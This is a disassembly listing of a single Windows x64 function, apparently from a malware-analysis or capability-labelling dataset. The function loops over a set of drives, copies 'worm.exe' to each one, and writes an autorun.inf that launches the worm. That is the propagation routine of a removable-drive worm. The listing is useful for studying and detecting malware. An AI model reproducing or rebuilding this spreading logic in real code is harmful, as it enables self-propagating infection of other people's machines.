Function at 0x14001195b
Capabilities:
Copy file

Disassembly:
jmp 0x14001cb10
push rbp
push rsi
push rdi
sub rsp, 0xb00
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1f4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140030040]
xor rax, rbp
mov qword [rbp + 0xac0], rax
lea rcx, [0x1400380f9]
call fcn.14001192e
mov edx, 0x20
lea rcx, [rbp + 8]
call fcn.1400110f0
lea rdx, [0x14002a544]
lea rcx, [rbp + 0x6a0]
call fcn.14001141a
nop
lea rdx, [0x14002a548]
lea rcx, [rbp + 0x6c8]
call fcn.14001141a
nop
lea rdx, [0x14002a54c]
lea rcx, [rbp + 0x6f0]
call fcn.14001141a
nop
lea rdx, [0x14002a550]
lea rcx, [rbp + 0x718]
call fcn.14001141a
nop
lea rdx, [0x14002a554]
lea rcx, [rbp + 0x740]
call fcn.14001141a
nop
lea rdx, [0x14002a558]
lea rcx, [rbp + 0x768]
call fcn.14001141a
nop
lea rdx, [0x14002a55c]
lea rcx, [rbp + 0x790]
call fcn.14001141a
nop
lea rdx, [0x14002a560]
lea rcx, [rbp + 0x7b8]
call fcn.14001141a
nop
lea rdx, [0x14002a564]
lea rcx, [rbp + 0x7e0]
call fcn.14001141a
nop
lea rdx, [0x14002a568]
lea rcx, [rbp + 0x808]
call fcn.14001141a
nop
lea rdx, [0x14002a56c]
lea rcx, [rbp + 0x830]
call fcn.14001141a
nop
lea rdx, [0x14002a570]
lea rcx, [rbp + 0x858]
call fcn.14001141a
nop
lea rdx, [0x14002a574]
lea rcx, [rbp + 0x880]
call fcn.14001141a
nop
lea rdx, [0x14002a578]
lea rcx, [rbp + 0x8a8]
call fcn.14001141a
nop
lea rdx, [0x14002a57c]
lea rcx, [rbp + 0x8d0]
call fcn.14001141a
nop
lea rdx, [0x14002a580]
lea rcx, [rbp + 0x8f8]
call fcn.14001141a
nop
lea rdx, [0x14002a584]
lea rcx, [rbp + 0x920]
call fcn.14001141a
nop
lea rdx, [0x14002a588]
lea rcx, [rbp + 0x948]
call fcn.14001141a
nop
lea rdx, [0x14002a58c]
lea rcx, [rbp + 0x970]
call fcn.14001141a
nop
lea rdx, [0x14002a590]
lea rcx, [rbp + 0x998]
call fcn.14001141a
nop
lea rdx, [0x14002a594]
lea rcx, [rbp + 0x9c0]
call fcn.14001141a
nop
lea rdx, [0x14002a598]
lea rcx, [rbp + 0x9e8]
call fcn.14001141a
nop
lea rdx, [0x14002a59c]
lea rcx, [rbp + 0xa10]
call fcn.14001141a
nop
lea rdx, [0x14002a5a0]
lea rcx, [rbp + 0xa38]
call fcn.14001141a
nop
lea rdx, [0x14002a5a4]
lea rcx, [rbp + 0xa60]
call fcn.14001141a
nop
lea rdx, [0x14002a5a8]
lea rcx, [rbp + 0xa88]
call fcn.14001141a
nop
lea rax, [rbp + 0xab0]
mov r8, rax
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x638]
call fcn.1400118c5
lea rcx, [rbp + 0x670]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x614]
call fcn.1400111d1
mov r8, rax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 8]
call fcn.1400116d1
nop
lea r9, [fcn.1400111bd]
mov r8d, 0x1a
mov edx, 0x28
lea rcx, [rbp + 0x6a0]
call fcn.140011267
lea rdx, str.worm.exe
lea rcx, [rbp + 0x48]
call fcn.14001141a
nop
lea rdx, str.autorun_nopenworm.exe_nshellopenOpen_nshellopencommandworm.exe
lea rcx, [rbp + 0x88]
call fcn.14001141a
nop
lea rax, [rbp + 8]
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.1400112a8
mov qword [rbp + 0xe8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.14001129e
mov qword [rbp + 0x108], rax
jmp 0x14001ce3d
mov rax, qword [rbp + 0xe8]
add rax, 0x28
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x108]
cmp qword [rbp + 0xe8], rax
je 0x14001cf5d
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x128], rax
lea r8, [rbp + 0x48]
mov rdx, qword [rbp + 0x128]
lea rcx, [rbp + 0x148]
call fcn.140011771
mov qword [rbp + 0xab8], rax
lea rcx, [rbp + 0x148]
call fcn.1400110fa
mov qword [rbp + 0xab8], rax
lea rcx, [rbp + 0x48]
call fcn.1400110fa
xor r8d, r8d
mov rcx, qword [rbp + 0xab8]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea r8, str.autorun.inf
mov rdx, qword [rbp + 0x128]
lea rcx, [rbp + 0x188]
call fcn.14001173a
mov qword [rbp + 0xab8], rax
mov edx, 0x108
lea rcx, [rbp + 0x1d0]
call fcn.1400113b1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1d0]
call fcn.140011965
mov qword [rbp + 0xab8], rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x1d0]
call fcn.14001182f
lea rcx, [rbp + 0x1d0]
call fcn.1400114ce
nop
lea rcx, [rbp + 0x1d0]
call fcn.140011253
nop
lea rcx, [rbp + 0x188]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x148]
call fcn.1400111bd
nop
jmp 0x14001cf58
jmp 0x14001ce2b
lea rcx, [rbp + 0x88]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x48]
call fcn.1400111bd
nop
lea rcx, [rbp + 8]
call fcn.1400118c0
lea rcx, [rbp - 0x30]
lea rdx, [0x140029260]
call fcn.140011794
mov rcx, qword [rbp + 0xac0]
xor rcx, rbp
call fcn.140011479
lea rsp, [rbp + 0xad0]
pop rdi
pop rsi
pop rbp
ret